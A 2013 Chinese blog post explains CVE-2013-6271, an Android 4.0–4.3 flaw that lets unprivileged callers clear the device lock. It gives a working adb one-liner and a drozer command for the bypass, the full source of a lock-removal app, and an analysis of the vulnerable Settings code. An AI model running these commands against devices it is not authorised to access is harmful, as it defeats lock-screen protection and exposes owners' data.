android绕过设备锁(device lock)

原创 2013年12月02日 21:50:23

听说这几天爆了一个No root no recovery 的device lock的漏洞。

来源:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/

受伤程度。

4.0 - vulnerable 
4.1 - vulnerable
4.2 - vulnerable
4.3 - vulnerable
4.4 - not vulnerable

 

 有兴趣的读者可以先看看:http://developer.android.com/guide/topics/admin/device-admin.html

 

1、测试

测试一下:先设置device pin:

只需要一行代码:  

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

device pin真的消失了。

 

有人也把这个功能封装到app里面了。无需adb了。

CRT-Removelocks.apk
CRT-Removelocks Source code

package com.curesec.android;

import android.app.IntentService;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;

public class RemoveLocks extends IntentService {
 
 public RemoveLocks() {
  super("RemoveLocks");
 }

 @Override
 protected void onHandleIntent(Intent intent) {
  removeLocks();
 }

 看懂这段就看懂了全部! 就是如何让锁消失的秘密!
 private void removeLocks() {
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric"));
  intent.putExtra("confirm_credentials", false);
  intent.putExtra("lockscreen.password_type",0);    //这就是那个PASSWORD_QUALITY_UNSPECIFIED The policy has no requirements for the password.


  intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(intent);
 }


 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

 

}

 

package com.curesec.android;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;
import android.widget.Toast;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
    
  Button buttonExecuteNow = (Button) findViewById(R.id.button1);
  Button buttonExecuteLater = (Button) findViewById(R.id.button2);
  TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
  tp.setIs24HourView(true);
  tp.setCurrentHour(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));
  
  buttonExecuteNow.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending);

    Toast t = Toast.makeText(getBaseContext(), "Removing lock now!", 5);
    t.show();   
   }
  }
  );
  
  buttonExecuteLater.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
    cal.set(Calendar.HOUR_OF_DAY, tp.getCurrentHour());
    cal.set(Calendar.MINUTE, tp.getCurrentMinute());
    cal.set(Calendar.SECOND, 0);
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending); 
   
    Toast t = Toast.makeText(getBaseContext(), "Removing lock at: "+tp.getCurrentHour()+":"+tp.getCurrentMinute(), 5);
    t.show();   
   }
  }
  );
  
  
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }

}

 

 

也可以使用drozer进行验证。drozer(原名Mercury)您不会不知道吧!

 

#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0
 
 

 

2、原因:

 

com.android.settings.ChooseLockGeneric class 用于让用户改变设备锁类型,比如是password, gesture and even face recognition ,当然修改前需要输入原来的密码(pin、图案等)

Lets examine the following code extracted from the class:

            // Defaults to needing to confirm credentials
            final boolean confirmCredentials = getActivity().getIntent()
                .getBooleanExtra(CONFIRM_CREDENTIALS, true);
            mPasswordConfirmed = !confirmCredentials;

            if (savedInstanceState != null) {
                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                updatePreferencesOrFinish();
                     }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                updateUnlockMethodAndFinish(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()
                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

            quality = upgradeQuality(quality, null);

            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength < MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength = mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. 
第一部分代码允许调用者设置改变设备锁类型前是否需要输入以前的设备所认证。
 
We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.

 

构造输入即可绕过。

Set the password quality

The password quality can be one of the following DevicePolicyManager constants:

PASSWORD_QUALITY_ALPHABETIC
The user must enter a password containing at least alphabetic (or other symbol) characters.
PASSWORD_QUALITY_ALPHANUMERIC
The user must enter a password containing at least both numeric and alphabetic (or other symbol) characters.
PASSWORD_QUALITY_NUMERIC
The user must enter a password containing at least numeric characters.
PASSWORD_QUALITY_SOMETHING
The policy requires some kind of password, but doesn't care what it is.
PASSWORD_QUALITY_UNSPECIFIED
The policy has no requirements for the password.

 

3、危害:

   1、如果丢了手机,pin起码有一定保护作用,如果用户开启了adb shell,那就可以被干掉pin了。

   2、4.2.2以后还有安全机制:adb认证。http://blog.csdn.net/u011069813/article/details/9198093 丢了手机,想执行adb好难哦!

名称:  捕获.PNG查看次数: 0文件大小:  33.6 KB

 3、被app执行该漏洞,清除了device pin!有啥后果呢? 没想好!

 

接下来我们系统分析一下设备锁的机制,以及还有哪些其它方法清除设备锁。

 

看完电影对device lock进行深入系统分析。

 

http://we.droidiser.com/viewtopic.php?f=21&t=29

http://en.miui.com/thread-5684-1-1.html

http://oscarmini.com/2013/09/locked-out-how-to-bypass-pattern-lock-on-any-android-device.html微笑

http://www.geeknaut.com/bypass-android-pattern-lock-09198931.html

http://forum.xda-developers.com/showthread.php?t=1722950

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=1646108

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=2437946

http://www.morethantechnical.com/2013/01/29/a-creative-way-to-bypass-pattern-lock-on-android/

相关文章推荐

Android4.0 Keyguard解锁屏机制

Keyguard解锁屏是Android系统中必不可少的模块,用户在开机后或者在点击Power按钮屏幕变亮后首先看到的画面即为解锁屏模块对应的界面。Keyguard模块功能相对简单:       第一...

android5.1修改默认锁屏方式(去除锁屏)

在5.1上,代码的处理方式变得不一样了,我最开始的做法是更改锁屏默认值,但是第一次刷机有效,第二次开机居然就不进去桌面了. 第一种方法:目录(不推荐):frameworks\base\package...
  • lcpangs
  • lcpangs
  • 2016年08月18日 18:05
  • 5204

Settings分析

Android系统设置settings应用学习(二)--源代码解析 分类: Android入门学习2015-02-02 16:13 102人阅读 评论(0) 收藏 举报 Androidsetting...
  • lwnlwn1
  • lwnlwn1
  • 2015年04月01日 13:47
  • 1174

获取android 设备ID (device ID)

  • 2012年05月17日 17:20
  • 38KB
  • 下载

Android中的模块(module)与设备(device)

以backlight这种设备为例来说明一下Android系统中模块与设备的关系。Android中的backlight、keyboard等多个设备都使用同一个名字为lights的模块(即/system/...

解决Android Device Chooser 找不到设备问题

又碰到运行Android时,Android Device Chooser显示为空,调试无法进行,折腾了好久,终于找到了解决办法...

Android_获取手机设备信息device_id

执行:getDeviceInfo(Context context) 方法,返回结果就是设备信息 /** * 获取设备的信息 * @param context * @p...

Android Studio 运行代码时device不能识别genymotion设备

相信网上关于下载安装配置genymotion的教程很多(下面的a,b,c,d步骤都可以参考百度搜索出来的教程轻松搞定),但还有关键的最后一步设置才能最终成功,不幸的是,很多教程都没有提到它。所以我就遇...

Android蓝牙健康设备开发:Health Device Profile(HDP)

android经典蓝牙健康设备开发

android中device_attr 设备属性节点

1. 在sys下创建一个节点 static ssize_t gsensor_vendor_store(struct device *dev, struct device_attribute *attr...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:android绕过设备锁(device lock)
举报原因:
原因补充:

(最多只允许输入30个字)